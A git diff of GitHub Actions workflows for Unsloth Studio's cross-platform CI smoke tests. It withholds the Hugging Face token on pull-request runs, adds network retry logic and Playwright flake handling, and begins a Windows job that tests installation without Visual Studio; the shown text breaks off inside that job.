(matching the other workflows in this repo). + run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13" + - name: Install backend import deps + # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and + # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds). + run: python -m pip install + transformers peft accelerate safetensors huggingface_hub datasets + sentencepiece protobuf fastapi starlette structlog psutil + python-multipart pydantic httpx "numpy<3" pytest + - name: Export capability + import-safety tests + working-directory: studio/backend + run: python -m pytest tests/test_export_capability.py -q diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml index c2c4fa03bf..f540c11da4 100644 --- a/.github/workflows/studio-inference-smoke.yml +++ b/.github/workflows/studio-inference-smoke.yml @@ -97,7 +97,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -114,7 +115,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -364,7 +366,8 @@ jobs: id: download-gguf if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -380,7 +383,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -440,6 +444,8 @@ jobs: python - <<'PY' import json import os + import time + import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -460,8 +466,24 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) def post_sse(path, body, *, timeout = 600): """POST a streaming request and accumulate the assistant @@ -845,7 +867,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -863,7 +886,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -932,6 +956,8 @@ jobs: import base64 import json import os + import time + import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -950,8 +976,24 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. response_format = json_object (JSON mode) ───────────── # llama.cpp's HTTP server supports OpenAI-compatible JSON diff --git a/.github/workflows/studio-mac-api-smoke.yml b/.github/workflows/studio-mac-api-smoke.yml index 412726538c..617ce189dc 100644 --- a/.github/workflows/studio-mac-api-smoke.yml +++ b/.github/workflows/studio-mac-api-smoke.yml @@ -68,7 +68,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -85,7 +86,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml index c794a34acd..03c0a8580d 100644 --- a/.github/workflows/studio-mac-inference-smoke.yml +++ b/.github/workflows/studio-mac-inference-smoke.yml @@ -91,7 +91,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -110,7 +111,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -346,7 +348,8 @@ jobs: id: download-gguf if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -363,7 +366,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -426,6 +430,8 @@ jobs: python - <<'PY' import json import os + import time + import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -446,8 +452,24 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) def post_sse(path, body, *, timeout = 600): """POST a streaming request and accumulate the assistant @@ -725,7 +747,8 @@ jobs: # Authenticated + parallel: shared macos-14 NAT egress stalls # multi-GB anonymous downloads. env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -752,7 +775,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -819,6 +843,8 @@ jobs: import base64 import json import os + import time + import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -842,8 +868,24 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. response_format = json_object (JSON mode) ───────────── # llama.cpp's HTTP server supports OpenAI-compatible JSON diff --git a/.github/workflows/studio-mac-install-matrix.yml b/.github/workflows/studio-mac-install-matrix.yml index da944d4b5c..362305cdd4 100644 --- a/.github/workflows/studio-mac-install-matrix.yml +++ b/.github/workflows/studio-mac-install-matrix.yml @@ -63,7 +63,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml index 4f9f94b534..20ca247b9f 100644 --- a/.github/workflows/studio-mac-ui-smoke.yml +++ b/.github/workflows/studio-mac-ui-smoke.yml @@ -68,7 +68,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -85,7 +86,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -183,13 +185,14 @@ jobs: # Retry up to 3 times to absorb known macos-14 free-runner # flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected # end of JSON input' crash when the Chromium browser process - # dies mid-test, and (2) Chromium net::ERR_NO_BUFFER_SPACE - # when the runner's kernel briefly runs out of socket buffers. - # The retry FULLY resets Studio (kill, reset-password, reboot, - # wait /api/health, re-export bootstrap pw) before re-running - # the script. A real test failure (assertion / timeout) does - # NOT match either pattern so it bypasses retry and surfaces - # immediately. + # dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the + # runner's kernel briefly runs out of socket buffers, and (3) a + # goto 'interrupted by another navigation' when the SPA auth + # guard redirects mid-navigation. The retry FULLY resets Studio + # (kill, reset-password, reboot, wait /api/health, re-export + # bootstrap pw) before re-running the script. A real test failure + # (assertion / timeout) does NOT match any pattern so it bypasses + # retry and surfaces immediately. run: | mkdir -p logs/playwright attempt=1 @@ -202,8 +205,9 @@ jobs: if [ "$rc" -eq 0 ]; then break fi - if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \ - || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log; } \ + if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \ + || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log \ + || grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \ && [ "$attempt" -lt "$max_attempts" ]; then echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..." kill "${STUDIO_PID}" 2>/dev/null || true @@ -278,8 +282,8 @@ jobs: STUDIO_UI_TURN_TIMEOUT_MS: '540000' GGUF_REPO: ${{ env.GGUF_REPO }} GGUF_VARIANT: ${{ env.GGUF_VARIANT }} - # Same flake-retry shape as "Drive the chat UI with Playwright" - # -- catches pipeTransport JSON crash and ERR_NO_BUFFER_SPACE. + # Same flake-retry shape as "Drive the chat UI with Playwright" -- catches + # pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts. run: | mkdir -p logs/playwright_extra attempt=1 @@ -292,8 +296,9 @@ jobs: if [ "$rc" -eq 0 ]; then break fi - if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \ - || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log; } \ + if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \ + || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log \ + || grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \ && [ "$attempt" -lt "$max_attempts" ]; then echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..." kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-mac-update-smoke.yml b/.github/workflows/studio-mac-update-smoke.yml index f554a16415..d104306c7e 100644 --- a/.github/workflows/studio-mac-update-smoke.yml +++ b/.github/workflows/studio-mac-update-smoke.yml @@ -62,7 +62,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -74,7 +75,8 @@ jobs: - name: First update should be a no-op (prebuilt already validated) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update.log @@ -93,7 +95,8 @@ jobs: - name: Second update must also be a no-op env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update2.log diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml index 1156c264ae..018857de68 100644 --- a/.github/workflows/studio-tauri-smoke.yml +++ b/.github/workflows/studio-tauri-smoke.yml @@ -47,7 +47,7 @@ jobs: run: | sudo apt-get update sudo apt-get install -y \ - libwebkit2gtk-4.1-dev libayatana-appindicator3-dev \ + libwebkit2gtk-4.1-dev libappindicator3-dev \ librsvg2-dev libxdo-dev libssl-dev patchelf - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml index dcf9fd26af..297a585430 100644 --- a/.github/workflows/studio-ui-smoke.yml +++ b/.github/workflows/studio-ui-smoke.yml @@ -82,7 +82,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -99,7 +100,8 @@ jobs: - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail diff --git a/.github/workflows/studio-update-smoke.yml b/.github/workflows/studio-update-smoke.yml index 307bb51972..08a79afacd 100644 --- a/.github/workflows/studio-update-smoke.yml +++ b/.github/workflows/studio-update-smoke.yml @@ -71,7 +71,8 @@ jobs: # prebuilt path falls back to source build. env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -86,7 +87,8 @@ jobs: # idempotency regressed. env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update.log @@ -109,7 +111,8 @@ jobs: # the first one. env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update2.log diff --git a/.github/workflows/studio-windows-api-smoke.yml b/.github/workflows/studio-windows-api-smoke.yml index 78efe918ac..e9abd2d669 100644 --- a/.github/workflows/studio-windows-api-smoke.yml +++ b/.github/workflows/studio-windows-api-smoke.yml @@ -75,7 +75,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -124,7 +125,8 @@ jobs: shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml index ceae8e049d..0453c9212a 100644 --- a/.github/workflows/studio-windows-inference-smoke.yml +++ b/.github/workflows/studio-windows-inference-smoke.yml @@ -26,6 +26,7 @@ on: - 'unsloth_cli/**' - 'install.ps1' - 'pyproject.toml' + - 'tests/studio_setup_ps1/**' - '.github/workflows/studio-windows-inference-smoke.yml' push: branches: [main, pip] @@ -82,6 +83,18 @@ jobs: pwsh -NoProfile -File tests/studio/test_node_decision.ps1 pwsh -NoProfile -File tests/studio/test_node_probe_guard.ps1 + # uninstall.ps1: native uninstall must keep the shared unsloth.ico while a + # WSL shortcut still references it (dual install), else that shortcut blanks. + - name: uninstall.ps1 unit test (dual-install icon preserve) + shell: pwsh + run: | + $errs = $null + [void][System.Management.Automation.Language.Parser]::ParseFile( + (Resolve-Path scripts/uninstall.ps1).Path, [ref]$null, [ref]$errs) + if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 } + Write-Host "uninstall.ps1 parsed with no errors" + pwsh -NoProfile -File tests/studio/test_uninstall_dual_install_icon.ps1 + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 with: node-version: '22' @@ -114,7 +127,8 @@ jobs: # described above (outcome != success). if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -166,7 +180,8 @@ jobs: shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -463,7 +478,8 @@ jobs: id: download-gguf if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -511,7 +527,8 @@ jobs: shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -617,6 +634,8 @@ jobs: python - <<'PY' import json import os + import time + import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -639,8 +658,24 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) def post_sse(path, body, *, timeout = 600): body = {**body, "stream": True} @@ -893,7 +928,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -943,7 +979,8 @@ jobs: shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -1044,6 +1081,8 @@ jobs: import base64 import json import os + import time + import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -1063,8 +1102,24 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. response_format = json_object (JSON mode) ───────────── status, data = post("/v1/chat/completions", { @@ -1244,3 +1299,621 @@ jobs: logs/install.log logs/llama-server/*.log retention-days: 7 + + # ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ── + no-vs-cpu: + name: Studio install + inference without Visual Studio + runs-on: windows-latest + timeout-minutes: 35 + defaults: + run: + shell: bash + env: + GGUF_REPO: unsloth/gemma-3-270m-it-GGUF + GGUF_VARIANT: UD-Q4_K_XL + GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18820' + HF_HOME: ${{ github.workspace }}/hf-cache + PYTHONIOENCODING: utf-8 + PYTHONUTF8: '1' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + + - name: Restore HF_HOME for ${{ env.GGUF_REPO }} + id: cache-hf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Prime HF_HOME with the GGUF + id: prime-hf + if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p hf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" + bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf + + - name: Save HF_HOME for ${{ env.GGUF_REPO }} + if: always() && steps.prime-hf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Pre-install Windows tweaks (npm 11 + Defender exclusions) + shell: pwsh + run: | + $ProgressPreference = 'SilentlyContinue' + npm install -g 'npm@^11' 2>&1 | Out-Host + foreach ($p in @( + "$env:USERPROFILE\.unsloth", + "$env:USERPROFILE\AppData\Local\uv", + "$env:GITHUB_WORKSPACE\studio\frontend\node_modules", + "$env:GITHUB_WORKSPACE\studio\frontend\dist" + )) { + try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { } + } + + - name: Prepare no-build-tools simulation + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' + $pf = Join-Path $root 'ProgramFiles' + $pfx86 = Join-Path $root 'ProgramFilesx86' + New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null + + $blocked = 